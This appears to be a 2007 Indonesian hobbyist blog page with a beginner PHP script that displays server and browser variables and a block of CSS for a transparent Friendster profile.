Penjelasan ini merupakan penjelasan yang singkat dan tidak begitu memperhatikan dari aspek keamanan dan besarnya sebuah file atau properti lain dari file itu sendiri. Diharapkan dengan membaca artikel ini Anda dapat memodifikasinya kembali dan menambahkan berbagai macam fungsi sehingga dapat berguna bagi proyek web Anda. Saya sangat terbuka untuk berdiskusi mengenai PHP script.


artikel juga dapat di baca di :


http://id.php.net/manual/en/function.move-uploaded-file.php

19 January 2007

menampilkan variable environment client dengan php

ternyata blogs banyak manfaatnya juga,
hmm punya unek unek tapi cuman dikit banget adanya, so mo diapain.
dipikir pikir enakan di posting aja di blogs, siapa tau ada temen temen yang mo lengkapin.
he he he

ini ada sedikit script php bagi temen temen yang ingin ngembangin website karya sendiri, fungsi script berikut untuk menampilkan variable environment client yang membuka website kita :D
seperti IP, browser yang di gunakan, port yang di pakai, nama server, sampe sistem rootnya :D

hmm kita mulai aja ya :)


<?php
//mendevenisikan variabel
$tanggal = date('d/m/Y');
$nama = "GUEST";
$browser = $_SERVER['HTTP_USER_AGENT'];
$server = $_SERVER['SERVER_NAME'];
$ip = $_SERVER['SERVER_ADDR'];
$port = $_SERVER['SERVER_PORT'];
$system = $_SERVER['SystemRoot'];
printf ("skarang tanggal %s", $tanggal);
echo "<br>";

//menampilkan variabel
printf("Halo, %s", $nama);
echo "<br>";
printf("browser kamu : %s", $browser);
echo "<br>";
printf("server kamu : %s", $server);
echo "<br>";
printf("IP kamu : %s", $ip);
echo "<br>";
printf("port yang kamu pake : %s", $port);
echo "<br>";
printf("System Root kamu : %s", $system);
echo "<br>";
echo "BENER KHAN TEBAKANKU, AYO NGAKU JANGAN BOONG";
?>


setelah mengetikan script php tsb, silahkan kamu simpan di root folder di webserver kamu, atau bisa juga di sisipkan di web kamu, di tempat yang sudah kamu sediakan, yang nantinya berfungsi untuk menampilkan data pengunjung,

hasil dari script di atas adalah sebagai berikut :
skarang tanggal 20/01/2007
Halo, GUEST
browser kamu : Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7
server kamu : localhost
IP kamu : 127.0.0.1
port yang kamu pake : 80
System Root kamu : C:\WINDOWS
BENER KHAN TEBAKANKU, AYO NGAKU JANGAN BOONG

css untuk transparant frendster profile


temen temen masih ingat gak, beberapa bulan yang lalu, friendster yang dah capek capek kita hiasin, kok tiba tiba berubah tampilan nya jadi default hiks,

saya juga mengalami hal yang sama, dan sempet kesal juga, wong dulu bikinnya repot. huh akhirnya dengan memendam kesal dan sedikit kreativitas akhirnya friendster saya bisa di edit lagi ke bentuk semula he he he.


ternyata ada sedikit perubahan class style di friendster, itu bisa kalian lihat dengan klik kanan di friendster kamu, dan coba view source...

tapi buat kamu yang gak mau ambil pusing dan ingin cepet cepet benerin profiles kamu, coba deh script css di bawah ini,

caranya gampang tinggal copy paste aja script css ini ke bagian edit profiles -> costumize. tapi jangan lupa untuk pilih dan upload dulu background yang di inginkan, dan setelah itu ganti deh url background dengan background yang kamu pilih dan upload tadi, setelah itu tinggal save profiles, hmm jadi deh.

ini tempat untuk paste code css

tapi bagi kamu kamu yang mo menambah kreativitas bisa deh ngedit script di bawah ini sebelum di post ke profiles,

contoh hasil : www.friendster.com/ridho

/*Bagian Background*/
body {
background-color:black; background-image:url('ganti dengan link image background kamu'');background-attachment: fixed; background-position:center; background-repeat:no-repeat; border-color:black; border-width: 0px ; border-style: solid;
}

/* Transparant css table and other styles */
.usercontent {
font-family: helvetica; color: #FFFFFF;
}
.usercontent a {
color: #FFFFFF;
}
.usercontent a:link {
color: #FFFFFF;
}
.usercontent a:visited {
color: #FFFFFF;
}
.usercontent a:hover {
color: #FFFFFF;
}
.usercontent a:active {
color: #FFFFFF;
}
.usercontent a:hover {
color: #FFFFFF;
}
.commonbox {
border-width: 0px; border-color: #ffffff; border-style: outset; background-color: transparent;
}
.commonbox h1 {
font-family: arial; color: #cccccc; background-color: 23262C;
}
.commonbox h2 {
font-family: arial; color: #cccccc; background-color: 23262C;
}
.commonbox .viewall {
font-family: arial; color: #FFFFFF;
}
.commonbox .imgblock75 {
border-width: 0px; border-color: ffffff; border-style: outset; background-color: transparent;
}
.ir {
border-width: 0px; border-color: ffffff; border-style: outset; background-color: transparent;
}
.commonbox .dr {
font-family: arial; color: #FFFFFF; background-color: transparent;
}
.commonbox .evenrow {
background-color: transparent;
}
.controlpanel {
border-width: 0px; border-color: ffffff; border-style: outset; background-color: transparent;
}
.photos {
border-width: 0px; border-color: ffffff; border-style: outset; background-color: transparent;
}
.friends {
border-width: 0px; border-color: ffffff; border-style: ouset; background-color: transparent;
}
.blogsreviews {
border-width: 0px; border-color: ffffff; border-style: outset; background-color: transparent;
}
.videos {
border-width: 0px; border-color: ffffff; border-style: outset; background-color: transparent;
}
.testimonialscomments {
border-width: 0px; border-color: FFFFFF; border-style: outset; background-color: transparent;
}
.moreabout {
border-width: 0px; border-color: ffffff; border-style: outset; background-color: transparent;
}
.fanof {
border-width: 0px; border-color: ffffff; border-style: outset; background-color: transparent;
}
.groups {
border-width: 0px; border-color: ffffff; border-style: outset; background-color: transparent;
}
.testimonials {
border-width: 0px; border-color: ffffff; border-style: outset; background-color: transparent;
}
.scrapbook {
border-width: 0px; border-color: ffffff; border-style: outset; background-color: transparent;
}
.myfans {
border-width: 0px; border-color: ffffff; border-style: outset; background-color: transparent;
}
.reviews {
border-width: 0px; border-color: ffffff; border-style: outset; background-color: transparent;
}
.blogs {
border-width: 0px; border-color: ffffff; border-style: outset; background-color: transparent;
}
.controlpanel .imgblock200 {
border-width: 0px; border-color: ffffff; border-style: outset;
}
.data {
font-family: arial; color: #FFFFFF;
}
.controlpanel .q {
font-family: arial; color: #FFFFFF;
}
.data a {
font-family: arial; color: #FFFFFF;
}
#controlpanelbuttons a {
border-width: 0px; color:#cccccc; border-color:#555555; background-color:transparent;
}
#controlpanelbuttons a:link {border-width: 0px; color:#cccccc; border-color:#555555; background-color:transparent;}
#controlpanelbuttons a:visited {
border-width: 0px; color:#cccccc; border-color:#555555; background-color:transparent;
}
#controlpanelbuttons a:hover {
border-width: 0px; color:#FFFFFF; border-color:#555555; background-color:transparent;
}
.commonbox {
background-color: transparent;
}
.commonbox .evenrow {
background-color: transparent;
}
.controlpanel {
background-color: transparent;
}